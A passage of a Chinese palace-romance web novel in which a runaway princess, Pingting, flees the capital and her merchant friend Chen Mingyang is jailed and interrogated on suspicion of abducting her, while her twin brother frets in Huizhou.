“不曾见。” “那就不打扰了。”图二爷一抱拳打算离去,兵部尚书之子却不依不饶。“哎,这怎么不进去?” “大公子,这里是赌坊,不会有女人的,咱们还是别处看看。” “赌坊怎么了?进去搜!” “这位公子。”掌柜一抱拳,仍旧笑脸相迎,“这赌坊从不让女人进入,若是小的走了眼还有伙计看着,若是伙计走了眼,里边的客人也不可能答应,所以请公子还是去别的地方追捕吧。” “少废话!”尚书之子刚要进入,图二爷一把拉住,“大公子。”图二爷附耳小声说道:“这是三皇子的地方。”尚书之子面露惊讶,甚至后退了半步。图二爷又大声说道:“既然掌柜的这么说了,我们再到别的地方看看。” 躲在里边的娉婷倒不紧张,自己一个公主还能怕官兵吗,但是她现在并不想陈明阳知道自己的身份,所以官兵自己散去最好。“哎,他们怎么都走了?” “不敢进来呗。” “这赌坊是你们陈家的?” “要是陈家的他们早就进来了。” “那是谁家的?面子够大的?” “我悄悄告诉你啊,你可别告诉别人。” “什么呀?” “据说这是三皇子的产业。” “三皇子?” “嘶,小声点。” 娉婷才不怕别人,她想起今天李贵妃那个样子更觉得她讨厌。 “你想什么呢?” “我要回去了。”娉婷板着脸说到。 “你回家啊?那我送你回去吧。” “不用。” “哎,娉婷。”娉婷转过身,回头看着陈明阳,两人四目相对,陈明阳顿了一下,“你明天还出来吗?” 娉婷没想到陈明阳问自己这个问题,上下快速看了陈明阳一番,娉婷想说话可是却一句话也说不出来,娉婷觉得自己再不走就走不了了,所以下了很大决心终于转身。 “娉婷。” “你叫我干嘛!” 娉婷突然发飙了,吓了陈明阳一跳。“我,我在京城想了很久,觉得以前我们之间可能有些误会,我不该那么对你。” 娉婷背对着陈明阳,热泪滚落下来,仍旧一个字也没有说。 “娉婷,我爷爷让我问你好。” 娉婷再也不能忍了,一下子转身抱住陈明阳,呜呜呜地哭了起来。 陈明阳先是一愣,也抱住了娉婷,他其实早就看见娉婷站在河边,他原本想大大方方走过去打个招呼,可是又担心娉婷还在生自己的气,正犹豫,三位纨绔公子走过来调戏娉婷,陈明阳这才出手制止。“你现在怎么这么爱哭了,咱们才分开一个月,你还是我认识的周大小姐吗?” 娉婷赶紧撒开陈明阳,“谁哭了。” “哈哈哈,看来你还是周大小姐。” “我当然是了,我一直都是。” “那周大小姐打算做点什么呢?” “私奔。” “私奔?” “可是你不跟我私奔,我只能等死了。” “你净胡说。”陈明阳单手叉腰看着地面,“娉婷,我,你,你干嘛非得要私奔啊?堂堂正正的不好吗?” “不好。” “怎么不好了?” “因为堂堂正正不可行,已经没有别的路了。”娉婷说着再次哽咽,她已经没有别的路了,娉婷红着眼看着陈明阳,“陈明阳,我只要你一句话,你愿意和我私奔我就跟你走,你若是不愿意,我们就永远也不要再见面。” 这次轮到陈明阳惊讶了,“娉婷?” 娉婷最后哽咽道:“就告诉一个字,走还是留?”可是娉婷等了很久,陈明阳只惊讶不语,娉婷一下子死心了,她知道自己已经无路可走,娉婷强忍着泪水转身离开,只留下陈明阳一动不动。陈明阳望着娉婷离去的背影觉得心情复杂,他来京城这段日子突然没有了娉婷在旁边胡闹还有点不适应,甚至有两次想起娉婷还笑了起来。 “少东家,什么事这么高兴啊?” “哦没什么,就是想起来一个朋友。人倒是爽快不做作,就是有时候有点蠢笨蠢笨的。” “爽朗之人最可结交,少东家,这人也是经商吗?” “那倒不是。” “不经商的?那是做什么的?” “捣乱的。” “捣乱?” “是啊,天天捣乱没个正经。” 掌柜的听得糊里糊涂,但见少东家神色不同往常,知道少东家口中所说之人必定不是寻常之人,便不再多问。陈明阳 想着娉婷呆头呆脑的样子就觉得好笑,又想想自己这是来京城躲她来了,而这京城就是娉婷的成长之所。陈明阳出了陈记一路打听,竟然真找到了周状元的家。只见小院冷冷清清,全然不像有人的样子,陈明阳向里张望,身后却走来一位老者。 “这位公子找谁啊?” “哦,老伯,请问这里是周开周状元的家吗?” “何事?” 陈明阳一抱拳,“我是大小姐的朋友,她托我来给家里带个好。” “大小姐?小姐可好?” “嗯,挺好的。” “那就好,请回吧。” 陈明阳楞了一下,一抱拳。老者看着陈明阳离开,他的任务就是在这里打消所有怀疑周启身份的人的疑虑,这是第二个。 陈明阳回到陈记,他不知道自己怎么了。刚才娉婷通红的眼睛让陈明阳更觉心情复杂,他一直觉得娉婷最为爽朗,天不怕地不怕的,万事不愁的样子,可是今天,娉婷似乎走进了死胡同,好像有人逼迫她必须做出抉择似的。 “少东家?” “啊?” “您怎么了?脸色不太好,是不是生病了?” “哦没事。齐掌柜,你说要是一个人突然变了性格,是怎么回事呢?” “性格突变?那肯定是糟了什么大变,要不就是没的可选了。” “没的可选?” “是啊少东家,要是人活着只能任由别人安排,没有选择了,那还不性格大变吗。” 陈明阳心情沉重,娉婷通红的眼睛再次浮现在眼前,陈明阳拨弄着算盘,之前那么讨厌的娉婷怎么突然这样了,看着叫人心疼,“走还是留?”陈明阳知道自己想走,可是私奔? (本章完) 第九十四章 周娉婷再次逃离京城 - 风吹繁花散落时 - 红酒羊排 娉婷回宫,内宫人多却不乱,皇宫的人甚至还没来得及发现娉婷不见了,娉婷今天才觉得自己不受重视也挺好的。她远远听见皇后宫中音乐之声,她想起三皇子的脸,一直谨小慎微的样子真令人讨厌。李贵妃就更不用说了,仗着皇帝宠爱,对皇后向来不敬,又装着贤惠的样子,最讨人厌。可是如今拿着李贵妃的令牌倒是好办事,正想着三皇子走了过来,娉婷赶紧将令牌收起来。 “三哥。” “你怎么在这呢?怪不得刚才没看见你。” “哦,对了三哥,我听说西凉人剽悍,不如三哥教我点筛盅之巧,那里那里我也好融入其中。” “筛盅?哈哈哈,人家西凉人善弓箭骑射,并没有听说喜欢筛盅的,你学这可能是没啥用啊。想要讨好夫君,还得想想其他方法才行。” “西凉人不喜欢,三哥应该喜欢呀?我学学,到了西凉我也开个赌坊,讨不得丈夫欢心,赚点小钱花花也是好的呀。” “赌坊?” “是啊,这怎么经营赌坊,三哥应该驾轻就熟啊,要不你先教教我?”娉婷见三皇子稍微一愣,往前一步说道:“三哥,这赌坊的生意挺好的吧?不过,这生意好,银钱多的买卖总容易出事。”娉婷退后一步,转身继续说道:“不过我听闻,赌坊聚众是明面生意中最容易出乱子的地方,所以这种生意都有靠山,三哥,你这种靠山要是开个赌坊肯定没问题。” 三皇子突然板起脸,“六妹,玩笑不是混开的,不要胡闹了,前边都在等你呢,你快去吧。” “哈哈哈哈,三哥怕什么?这里又没有别人,三哥教教我呗。” “本皇子从来没有做过什么赌坊的生意,你作为公主也不该有此贪念。” “漂亮话还是留着在父皇面前说吧,不过没关系,你若是说不清,李贵妃也能帮你辩白几句。” “娉婷,哥哥知道你心情不好,但是你要明白,没有证据的指认都是构陷。” “哈哈哈,三哥别紧张啊,放心吧,我不举报你。你要是能把皇宫给搅和乱了,我还得谢谢你呢。”娉婷现在恨所有人,现在谁能帮她让所有人难过,她就愿意和谁站在同一条战线上。 此时的陈明阳再次站在周家门口,看家老伯从里边探头出来,“公子何事?” “老伯,我是周大小姐的朋友,有事求见。” “何事?” “劳烦老伯通报一声,今天她问我的话,我想当面告诉她。” “何话?” 陈明阳一抱拳,“这位老伯,我就说一句话,劳烦老伯通报一声。” 老伯二话不活死死盯着陈明阳,陈明阳有些心虚,“老伯,我就说一句话。” “公子请说。” “老 伯,我,哎,老伯等等。”陈明阳生怕老伯转身走了,赶紧说道:“老伯,烦请您告诉周小姐,走,只告诉她这一个字就成。” “公子传话:走。” “不错,多谢老伯。” 老太监奉命在小院看守,若是给五皇子的口信,自然将口信传给皇帝做定夺,可是口信是传给六公主的,而六公主现在就在宫里。老太监换装进宫,一路急行来到六公主寝宫,娉婷并未参加宴会而是回房休息,她觉得她的命运越来越清楚,谁也更改不了了。 “公主,公公求见。” “不见!” “公主。” “滚!”娉婷不知道这公公是皇帝派出假装周家仆人的,自然不肯面见,公公没法,只得将此口信上报皇帝。 “走?就说这一个字?” “是。” “你认识吗?” “奴才不认识。” 皇帝想了想,“这人要是再来,你记下他的名字,别的不用管了。” “是。”老太监走后,皇帝思虑良久,转向刘喜吩咐道:“六公主今日出宫了吗?” “回皇上,并没有六公主出京的消息。” “宫宴她去了吗?” “回皇上,六公主没有出席宫宴。” “她人现在在哪?” “回皇上,在六公主寝宫。” “你派人盯着她,没有朕的命令,她哪都不能去。” “是。” 不出半柱香时间,六公主的寝宫就被侍卫围住,所有人不得随意出入。下午宫宴终于散去,皇后前来看望女儿。 “娉婷。” “外边的人是怎么回事?” “你父皇的意思。”娉婷怒火中烧一言不发,皇后继续说道:“娉婷啊,听母后的话,安心在宫里不要多想,好不好?”娉婷依旧不说话,皇后也无法,“娉婷,母后心里也不好受。我们女人啊,只能自己想开点了。” 听了这话,娉婷再次落下泪来,她想抱着皇后大声哭一回,可是最终忍住什么也没有说,什么也没有做。 “那好,你自己好好待会吧,若是近来你想做什么告诉母后,母后一定帮你完成好不好?”娉婷依旧不说话,皇后只好先行离开。娉婷哭累了便趴在桌子上睡着了。而陈明阳回到陈记仍旧是惴惴不安,私奔这两个字像一块大石头一样压在陈明阳心上,私奔,私奔?陈明阳其实没打算私奔,但是他知道若说留,以娉婷的性格断然不可再见面,只有说走,两人见面当面问清楚事情来龙去脉才行。陈明阳拨弄着算盘珠子,见夕阳西斜,金黄色的光芒洒在大地上。传话已经过去两个时辰了,可是娉婷却毫无踪影,今天铺子里也空荡荡的,连个人影都没有,只有远处的叫卖声悠悠扬扬。 夕阳洒在宫室内,娉婷 觉得耳朵压得生疼终于从睡梦中醒来。娉婷皱着眉,看见外边影影绰绰,侍卫们将寝宫围住,这件事娉婷看在眼里更觉讨厌。 “公主。”娉婷见宫女端着晚膳走进来,“公主吃点饭吧。” 少倾,宫女端着食盒走出,侍卫一眼瞥见六公主仍旧坐在桌案前想心事,便随手关上门继续站岗。再说这宫女,从六公主寝宫出来将食盒放在廊旁草丛中,一路急行,远远看见宫门守卫在换班,宫女紧走两步掏出令牌出宫。 此时的李贵妃劳累一天终于回到自己的寝宫,“这一天闹得,应付皇后就算了,如今还要应承那些个宫外的夫人们,真是。” “娘娘,您是贵妃娘娘,自然帮着皇后料理宫中事务,这些个朝廷命妇夫人自然也得向您叩头请安。您看今天这些夫人们最有眼力,只一直与您回话,那些个娘娘们就是想说话也只能干坐着而已。” “就是啊娘娘,还是娘娘得皇上宠爱,咱们三皇子又得皇上倚重,这才显得尤为尊贵,非常人可比。” “是啊是啊。” 宫女们一句一句捧着李贵妃,又帮李贵妃更衣打算梳洗休息,“哎?” “怎么了?” “娘娘,您的令牌呢?” “令牌?什么令牌?” “就是您的出宫令牌啊,今天早晨还在呢,这怎么没了呢。” 李贵妃也想起来了,快找找,这令牌可不是小事,你们快找啊。” “找什么呢?” 李贵妃回头一看,皇帝慢慢走了进来,“皇上。”李贵妃赶紧给皇上行礼。 “找什么呢?” 这令牌非比寻常,就是被人偷了也是要担罪责的,更别说现在可能是自己给弄丢了。李贵妃赶紧回道:“回皇上,没找什么,就是早起本来带了一个香囊,可是现在不知怎么不见,可能是掉了吧。” “香囊?” “是啊,本来刚刚做好,今日也是第一次带,可能没有绑好。” “起来吧。” “谢皇上。” “一个香囊而已,掉就掉了吧,明日朕再让内务府给你送来几个。” “多谢皇上,可是这香囊,嗯,皇上,臣妾不知道该不该说。” 皇帝坐在榻上,见李贵妃欲言又止的样子不知为何,“怎么了?” 李贵妃故作为难,继而终于开口道:“皇上,原本都是早晨的事情了,臣妾也不想说的,可是,臣妾觉得六公主已经要出嫁了,她在西凉若还是这个脾气,万一惹恼了西凉王,岂不是对咱们大周不利。” “六公主?娉婷又做什么了?” “皇上,早上臣妾本来想去看看公主,希望她不要一味抵触婚事。可是还没有进门,公主就冲出来,不仅撞到了臣妾,还指着臣妾的鼻子骂我。说她 要远嫁都是臣妾的主意,还说臣妾一直勾引皇上,骂臣妾不要脸。皇上,臣妾……”说着李贵妃开始拭泪,皇帝一听这话顿时火了,刚要发火想起下午已经让侍卫封锁了公主寝宫,便说道:“爱妃不要和她一般见识。” 李贵妃擦着眼泪,一听皇上这话赶紧改口,“是啊,臣妾也想着自己是长辈,公主心气不好,臣妾的确不该与公主计较。皇上。”李贵妃坐在皇帝身边,早把令牌丢失一事丢在一边,“皇上,近来为了公主的事情您劳累了,不如臣妾为您捏捏,松松筋骨解解乏也好。” 李贵妃与皇帝沐浴更衣休息,皇后也已经歇下,她知道娉婷的事情不是一时半会可以解决的。可是娉婷是性格就是这样,若皇帝没有派侍卫来围住公主寝宫,娉婷也许还不是非要离开皇宫不可。但是现在她已经踏出宫门,在城门封锁的最后时刻,娉婷侧身出门,她转身看着巍峨的城墙,娉婷下定了最大的决心,这一次,她再也不会回头了。 (本章完) 第九十五章 陈明阳入狱 - 风吹繁花散落时 - 红酒羊排 娉婷离开京城乘快马连夜赶路,她有一夜的时间,绝不能耽搁片刻。这边陈明阳辗转难眠,他想起娉婷曾经的笑脸,又想起娉婷红彤彤的泪眼,怎么也睡不着。终于太阳慢慢升起来,陈明阳再次来到周家小院。小院里安安静静,陈明阳张望半天也不见有人出入,只好失望而归打算下午再来看看。这边娉婷快马加鞭跑了一夜,早晨只简单进食便再次上路。皇宫也渐渐苏醒,娉婷的宫女晨起请公主梳洗,可是从门缝中见娉婷还坐在桌前单手托腮想事情。等了半晌,宫女觉得再不进来就错过了给皇后请安的时候,虽说公主近来都不出门,但是宫女们得按着规矩办事才行。 “公主殿下,殿下。”宫女叫了几声,公主依旧没有反应,一个宫女大着胆子走到公主近前,定睛一看竟不是公主。消息很快传到皇后耳中,皇后又气又恼,“这个丫头怎么又跑了!” “皇后娘娘,此事可否禀报皇上。” “皇上昨夜去了哪里?” “在李贵妃处。” “你去请皇上过来。” 宫女应声而去,到了李贵妃宫中,李贵妃正在为皇帝更衣,宫女自然被拒之门外。“奴婢有要事求见皇上。” “何事?” “皇后娘娘请皇上过去一趟。” “呦,皇后娘娘怎么大早上就有事?你回去告诉皇后娘娘,皇上昨天晚上处理公事,今早起晚了,现在着急去上朝呢,实在不能去皇后宫中。” “这位姐姐,劳烦您通报一声,皇后娘娘真的有急事。” “那你等会吧。”宫女进去小声禀报李贵妃,李贵妃虽不喜欢皇后还是回禀给了皇帝。 “大早晨的能有什么急事?” “皇上,臣妾也不知道,可是这上朝的时辰就要到了,不如先去上朝吧?这宫中总不会出什么大事,若真有大事,皇后娘娘肯定自己亲自来了。” “嗯。”皇帝心想:这宫中最不安定的就是娉婷,她已经被自己看管起来了,还能出什么事?还是上朝要紧,谁知朝上大臣奏事繁多,一直到晌午方得空往皇后寝宫而来。“皇后今晨有何事啊?” 皇后清退左右宫人,跪在地上请罪,“皇上,六公主离宫了。” “什么?”皇帝一下子就站了起来,“什么时候的是?谁让她出去的?把朕的话当耳旁风是不是?” “皇上息怒,娉婷可能是昨夜走的。” “昨夜?” “娉婷打晕了宫女佯装在桌前想心事,自己却悄悄溜走了。” “昨夜就走了,为何现在才来告诉朕。” “皇上,臣妾也是今早才得知,原本想请皇上来定夺,可是……” “这么大的事情,你这个当皇后的就该亲自来告诉朕,你打发一个宫女来, 朕认为不甚要紧。” “皇上息怒,臣妾以为,六公主失踪,此事可大可小。若是西凉人知道娉婷是因为不想嫁到西凉才离宫的,那对两国邦交实在不利,所以臣妾才不敢大张旗鼓,如今就是娉婷宫里的侍卫也还在,还请皇上暗调人手找寻才是。” 皇帝一听这话也冷静下来,“这件事情,都有谁知道?” “回皇上,不过是娉婷宫里的宫女和臣妾宫里的几个人知道,都是贴身之人,绝对可靠。” “这些人,在娉婷没有回来之前,全都不能离开你的视线。” “是。” “朕会派人寻找,你也不必太过担心,我们就假装娉婷一直在自己的寝宫就好。” “是。” “周启近来可有书信?” “回皇上,不曾有。” “最近你也不要给他写信,朕是为了他的安全。” “皇上。” “说。” “皇上,臣妾知道您是想锻炼锻炼周启。可是如今朝局微妙,何不叫他回来。他们兄妹都在外边,我这个做母后的实在不放心。” “周启的事情你不必管,当好你的皇后就行了。”说完,皇帝不用质疑地离开了。 当天下午丞相就知道了娉婷失踪的事情,“爹,皇上晌午说不叫周启回来,是何用意?” 许丞相作为为数不多知道周启下落的人,自然知道皇帝为什么不叫周启回来,可是前些阵子自己派去的人突然死亡,着实令他担忧,但是他是不会告诉皇后的。“皇上是想锻炼周启,可能他觉得还需要锻炼吧。” “娉婷这个丫头,也不知道跑哪去了。” “皇后娘娘,皇上既然已经知道了自会派人寻找,你只需要将娉婷出宫的事情隐藏好,她在外边就是安全的。” 这边三皇子想起娉婷昨天的话,难免心绪难平。“她怎么知道了?” “我也不清楚,反正肯定是知道了。” “六公主天天在宫里,怎么会知道你在外边的事情?会不会诈你啊?” “诈我?母妃,那娉婷也太聪明了吧?她怎么不说别的生意偏偏说赌坊呢?这赌坊,她一个公主如何能轻易猜到?” “那就奇怪了。不过她既然知道了,怎么没有到你父皇那里告发你呢?” “说来也奇怪,昨天娉婷说要是我把皇宫搅乱了,她倒要感谢我呢。” “切,这你也相信?宫里女人的嘴最不可信了,我还天天对皇后说心悦诚服呢。” “呦,感情母妃不是心悦诚服啊?” “你这孩子!没事打趣你母妃做什么?还是想想娉婷吧,她现在知道自己必须嫁到西凉去,等于是在京中无所顾忌,咱们还是小心为妙。” “对了母妃,父皇为什么突然封了娉婷寝宫,谁也不 让进去?” “我也纳闷呢,听说是昨天下午封的,重兵把守连只苍蝇都飞不进去。要我知道昨天晚上就不说那话了。” “母妃说什么了?” “嘿,现在也收不回来了,不过不碍事的。你父皇啊,现在对娉婷就是一个头两个大,一时半会应该不会让她出来。” “那就好,她在里边出不来,我也好收拾一下赌坊的事。” “嗯,及早处理掉,千万别在这个时候触你父皇的霉头。” 这么商议定,三皇子当天就关闭了赌坊。陈明阳当天下午就收到了消息,赌坊掌柜正在另寻主顾,陈明阳觉得奇怪,但是怎么也没有想到是娉婷的缘由。陈明阳再次来到周家小院,与前两次不同,这次周家小院院门打开,两个家丁模样的人站在门口。陈明阳上前拜谒,被看门老伯引进门去。陈明阳以为是娉婷要见自己,可是一进门却见一五十几岁老者双手背后,看着屋内的匾额想事情。 陈明阳一抱拳,“敢问?” 皇帝转过身,见来人身高颈长,颧骨高嘴唇也厚,不似南方人的样子。“你是娉婷的朋友?” “是,敢问周小姐?” “你昨天给娉婷传话?” “是,请问老人家如何称呼?” “走是什么意思?走哪去?” “老人家,娉婷她?” “她走了。” “走了?” “不是你要带她走吗?” 陈明阳楞了一下,“既然娉婷小姐不在,陈某改日再来。”说着,陈明阳抱拳告退,一转身就被两个侍卫拦住,陈明阳看着两人家丁打扮,可是看身量就是练过武的,所以不敢造次。“老人家这是何意?” “娉婷在哪?” “小生不知。”说着,后边两个侍卫离陈明阳更近了。 “娉婷在哪?”皇帝的声音明显低了,但是威严依旧。 “老人家,小生真的不知。” 皇帝失去了耐心,侍卫上来就要捉拿陈明阳,陈明阳怎能被人随意捕捉,两厢人动起手来,一交手陈明阳就知自己不是对手,连一个人都打不过,很快便败下阵来被拿下。陈明阳被两人按在地上,皇帝走到跟前,“娉婷在哪?” “我真的不知道,你们抓错人了!” “你叫什么?” “小生陈明阳。” “家在哪?” “老人家,我与娉婷只是普通朋友,我真的不知道她去哪了。” “把他带下去。” 陈明阳觉得莫名其妙,“你们放开我,我到底犯了什么法?你们凭什么抓我?”可是仍有陈明阳怎么叫喊,侍卫绝不会放开他。他被两人压着,一路穿街过巷也不避人,陈明阳正在奇怪,自己竟然被羁押在了顺天府。“你们到底是什么人,你们回来呀!”顺 天府接到刘喜传喻不敢耽搁,不过半柱香时间便来到牢房内亲自审问。 “我真的不知道娉婷去哪了!你们抓错人了!” “你不知道?那你给人家姑娘传的什么话?” “我就是为了让她见我才这么说的,没有别的意思。” “你是陈明阳?” “嗯,是。” “你是陈记的少东家吧?” “大人,我真的没有做过不法之事。” “陈家的生意遍布大周,若是你这个少东家出了什么事,你家生意恐怕……” “大人,大人,冤枉啊我,我是认识周娉婷小姐,可是她现在在哪,我真的不知道啊。” 顺天府头顶压力,今天必须拿到娉婷消息才行。“少东家,年轻人讲义气,这个本官可以理解,可是你知道你所认识的周娉婷并不是你所认识的周大小姐,她不是你可以藏匿之人。少东家,为了你们陈家上下百十余口,你们陈记上千伙计,你也应该说实话啊。” “大人,我说的真的是真话,我真的不知道。” “看来你是不见棺材不落泪啊,成,来人。” 陈明阳被顺天府控制,陈记久不见少东家自然来到顺天府报案,顺天府伊旋即命人带掌柜去见陈明阳。此时陈明阳已被用刑,掌柜见了老泪纵横。“少东家,这是怎么了呀?我们陈记向来遵纪守法,怎么会犯了什么大罪,竟要对少东家上刑?” “千万不要告诉我爹。” “这这这,少东家,这到底是怎么一回事?” 顺天府可不想给两人过多时间,命人将掌柜提出。“你是陈记大掌柜?” “是,大人,我们陈记向来遵纪守法。” “遵纪守法?你们少东家拐带未出阁少女,该当何罪呀?” “这,这从何说起呀?我们少东家怎么会拐带未出阁少女呢?” “你问你们少东家去呀!” “大人。” 顺天府将掌柜再次放入,陈明阳还是那句不知,顺天府没法,将掌柜轰出,继续对陈明阳严刑拷打。掌柜不敢耽搁,买通了官府驿站,一路走官驿将陈明阳被捕的消息传回了徽州。 (本章完) 第九十六章 陈千朗求助周启 - 风吹繁花散落时 - 红酒羊排 娉婷消失无踪,陈千朗很快得到了陈明阳入狱的消息,他惊恐万分急急来到知府衙门。周启也刚刚得到娉婷失踪的消息,实在坐不住要回京去。李博正在劝解周启,陈千朗求见。 李博不想有人在这个时间来捣乱,“告诉他,大人现在没有时间。” “大人,陈老板说是为了娉婷大小姐的事。” “娉婷?”两人对视一眼将陈千朗请了进来。陈千朗一进来便噗通一下跪在地上,“周大人,周大人,小民敢以项上人头作保,陈明阳他绝不会私自拐带周大小姐,还请周大人明察!”陈千朗一个头磕在地上,“周大人明察啊,周大人。” “陈明阳?是他把娉婷带走的嘛?” “绝没有啊,周大人,陈明阳绝不会做这样的事。” “你把这话从头给我说一遍,陈明阳怎么和娉婷在一起?” 陈千朗抬起头,赶紧解释,“不瞒周大人,小儿是为了躲着周小姐才去的京城,可是不知为何,顺天府尹突然逮捕了小儿,指控小儿拐带周小姐,逼问小儿周小姐下落。可是据陈记在京城的掌柜所说,小儿与周小姐在京城并无往来。所以小儿绝没有拐带周小姐啊,周大人请明察啊。” 周启听完,想想娉婷一直在宫里,可是她很有可能出宫遇到了陈明阳,“陈明阳被捕之前没有见过娉婷吗?” “大人,我的伙计说没有。” “陈明阳怎么说的呢?” “他被顺天府控制了,谁都不能见啊。” “他被捕前两天可有异常?” “这……”陈千朗哪敢说陈明阳神色异常,稍一犹豫。 “陈千朗,本官听明白了。陈明阳与娉婷在京城私自见面,然后娉婷就失踪了,你儿子自然是重大嫌疑人,顺天府捉了他,不是应该的吗?” “周大人,周大人啊,陈明阳绝不可能……” 周启剑眉竖立,怒火中烧,“陈千朗!你儿子被顺天府抓了,是本官授意的,本官今天就可以告诉你,若是娉婷有失,我叫你们整个陈记给她陪葬!”李博站在旁边不敢出声,陈千朗吓得跌坐在地上,旋即连爬两下拉着周启的衣襟,“周大人,周大人!”周启使劲一甩,“你们去找到娉婷,一日找不到,陈明阳就在顺天府一日,两日找不到就在顺天府两日,这是我周启留给你最后的颜面。”周启瞪了陈千朗一眼便抬腿离开。李博缓缓而行,经过陈千朗身边蹲在陈千朗身边,“陈老板。” “李大人,李大人,我们真的不知道娉婷小姐在哪啊。” “我知道。” “李大人。” “可是周大人不信啊。” “李大人?” “陈老板,你的伙计遍布大周上下,找个人还不容易吗?再说了,你跪在 这,人家周大人就能饶了你吗?”李博拍拍陈千朗的肩膀,起身离开。陈千朗听了李博的话,一骨碌爬起来将娉婷的画像发给伙计,还忙不迭来到钱家请救帮忙。 “钱兄,这次你一定要救救我们陈记啊。” “陈老弟,这周小姐和陈记有什么关系?” 陈千朗不敢说实话,只好胡编,“都怪我呀,我要是不拦着他们,他们还能在我身边。可是如今两个孩子都跑了,我也是没法,请钱兄帮我找到周小姐,告诉她,就说请她赶紧和陈明阳一起回来,我还赶紧去顺天府销案。” 钱万全似乎听懂了,“陈明阳和周小姐不是在京城吗?他们怎么私奔了?” “是啊!钱兄啊,你说我怎么活啊。”陈千朗做后悔状,“哦对了,钱兄啊,你可千万别说两个人私奔了,我们陈家丢不起这个人啊。” “老弟放心,这个我明白,我这就将周小姐画像发出,只要有人见了周小姐,一定将口信带到。” 钱千朗走后,王夫人走了出来,“老爷,周小姐怎么和陈明阳私奔了?” “我也不太清楚,不过我听说周小姐在徽州就闹得很凶,就是因为这样陈千朗才叫陈明阳去了京城。” “周家不是本来就是京城人士吗?他干嘛叫陈明阳去京城啊,这不是给他们私奔的机会嘛。真是的,孩子们长大了真是由不得老家了。哎呀,对了,老爷。” “怎么了?” “钱宁还在外边,那个吴怡万一也去了河北,哎呀那可怎么办啊!” “不会吧,她不是拿了咱们一万两银子吗?应该不会吧。” “那可说不准,一万两银子和我们钱家诺大的家业比算什么?老爷,你快叫钱宁回来。” “好好好,我这就写信叫他回来,夫人别着急。” 这边从徽州发出了几百张娉婷的画像,那边皇帝只能瞒住娉婷失踪的消息,并派出暗卫暗中寻找。周启在徽州坐立难安,他又想起妹妹临行时那两条小小的车辙,自责之情再一次涌上心头。 “周大人?”张灵见周启心事重重,不知道发生了什么也无从安慰。 “啊?” “这学堂的桌椅板凳,一应教具都已经采购完毕,今天就能搬进去了,下个月肯定能按时开学。” “哦,好,好,辛苦你了。” “这是应该的。”张灵顿了一下,“你是不是有心事啊?” “没有啊,没事。” “周启,我们在小院的时候也算是朋友了,若是你有什么心事大可以告诉我,就想朋友之间相互交谈,万一我有什么法子呢。” 周启看了一眼张灵,长叹了一口气,“唉,我有个孪生妹妹,我不知道你见没见过。” “我听朵朵说过,说你 妹妹叫娉婷的,她不是回家了吗?” “之前我觉得她太胡闹了,就把她送回去了,我想着家里有人管着她点也好。可是不知怎的,她失踪了。” “失踪了?” “唉,我妹妹平时是任性了点,可是她从来没有独自出门过,我现在真的很担心她。” “她是不是和家里闹别扭了?” “算是吧。” “那她怎么没来徽州找你呢?” 周启一听这话,更伤心了,“我不该送她回去,在她最无助的时候。” 张灵拍拍周启的背,“周启,你别太担心了,也许她只是一时生气,女孩子嘛,都喜欢生气的。” 周启看向别处,又长出了一口气。 “若是你实在不放心,我叫我们张记的伙计四处找找,商队来回走动,兴许能碰到呢。” “哎不用了,我已经派人在找了,应该很快就有消息了。” “那,要不我去京城帮你看看?” “你去京城?” “学堂的事情已经都安排好了,就是重新布局,添置教具这些,招生的工作学政大人会负责的。我在这里也无事,不如去京城帮你看看,也许娉婷姐姐还在京城也未可知。” “娉婷可能在京城吗?” “我也只是猜测,她一个女孩子又不会武功又没有出过远门,很有可能藏在什么地方,我去找找也许能找到。” 周启蹭的一下站起来,“连锁,连锁,给我收拾东西,我要回京。” 周启正打包行李,李博赶了过来,将周启收拾的东西拿出来。 “你干嘛!” “我还想问你干嘛?” “我干嘛?我找我妹妹。” “你疯了!”李博一把拉住周启的胳膊,“你知不道你现在是徽州知府,除了徽州你哪都不能去!” 周启一下子甩来李博,“我管不了那么多了,大不了让皇上革了我徽州知府之职。” “李大人。” “你出去!” 张灵本想劝解两句,被李博一吼又见周启很生气也不看大家,就一个人站着生闷气,张灵知道他们要说不同寻常的事情,只好走了。 李博见张灵出去,扑通一下跪在地上,向周启行礼道:“五皇子,就算咱们现在在京城,你是大周唯一的嫡皇子,没有皇上的首肯或指派,您也不能随意出京,这是朝廷法度!如今你奉旨为徽州知府,没有朝廷调令私离徽州,这是欺君之罪呀!五皇子,六公主人在哪里谁也不知道,皇上秘而不宣就是要留有余地,若您突然现身京城,会引起怎样的轩然大波呀!五皇子,为徽州百姓记,为天下记,就是为六公主记,您也不该离开徽州,五皇子,请三思!”李博说完,一个头磕在地上,周启知道李博说的是对的,把手上的 衣服一摔,颓然坐在椅子上。李博直起身子,把着周启的胳膊,“五皇子,张灵说她可以去京城,我们还是就在这里等消息吧。” 当天晚上周启辗转难眠,想想兄妹二人明明是在一个娘胎里呆了十个月的亲兄妹,可是妹妹能去哪,自己却猜不出来。周启既自责又难过,他甚至不能原谅自己,觉得要是妹妹在徽州的时候多关心关心她就好了,或者别只是把她送回京城不管她也好,可是现在说什么都晚了,娉婷不见了。当天晚上,周启做了一夜噩梦,他梦见小时候两人玩闹的场景,又梦见妹妹掉在泥潭里,任自己怎么努力也拉不起妹妹,只听见妹妹的叫喊:“救命,哥哥救命,救救我!救救我!”周启惊醒了,全身都是汗,他听见远处猫头鹰咕咕叫了两声,天还黑着,而刚才妹妹凄惨的叫声还在耳畔。周启喘着粗气,他决定了,自己回京城去,谁也不带,谁也不告诉! (本章完) 第九十七章 周启离开徽州 - 风吹繁花散落时 - 红酒羊排 周启决定要回京城,开始秘密准备行李,第二天早起,周启留下了一封书信独自离开。李博发现周启不见之时差点派人去追。 “大人,若是现在去追,大家就都知道了!”连锁死命拦住李博,他决不能让人知道五皇子擅离职守了。 “可是大人,二愣子和张广还在外边,若是……” 李博听何平之言,心里一沉,抬腿揣在桌子上,“这个死周启!”刚骂完,李博赶紧拍木头,“呸呸呸。” “怎么了?” 大家回头一看,张灵走了进来。“不关你的事,周大人现在不在,你回去吧。”李博没好气地说到。 “这么说,周大人已经离开了?那我去京城好了。” “哎哎哎。”李博拉住张灵,“你干嘛去?” “去京城啊,怎么你不担心周大人吗?” “我担心是我担心,你不能担心。” “我怎么了?” “你别以为我不知道你安的什么心。我告诉你,你既然猜到了周大人的身份,就更应该安分守己,把这秘密烂在肚子里。否则,小心我对你不客气!” “对我不客气?”张灵慢慢走进李博,“大人想怎么对我不客气?” “你你你……” “我怎么了?李大人,我张灵是商人,大周律又没有禁止商业流通,所以我想去哪就去哪。”说完张灵转身离开。 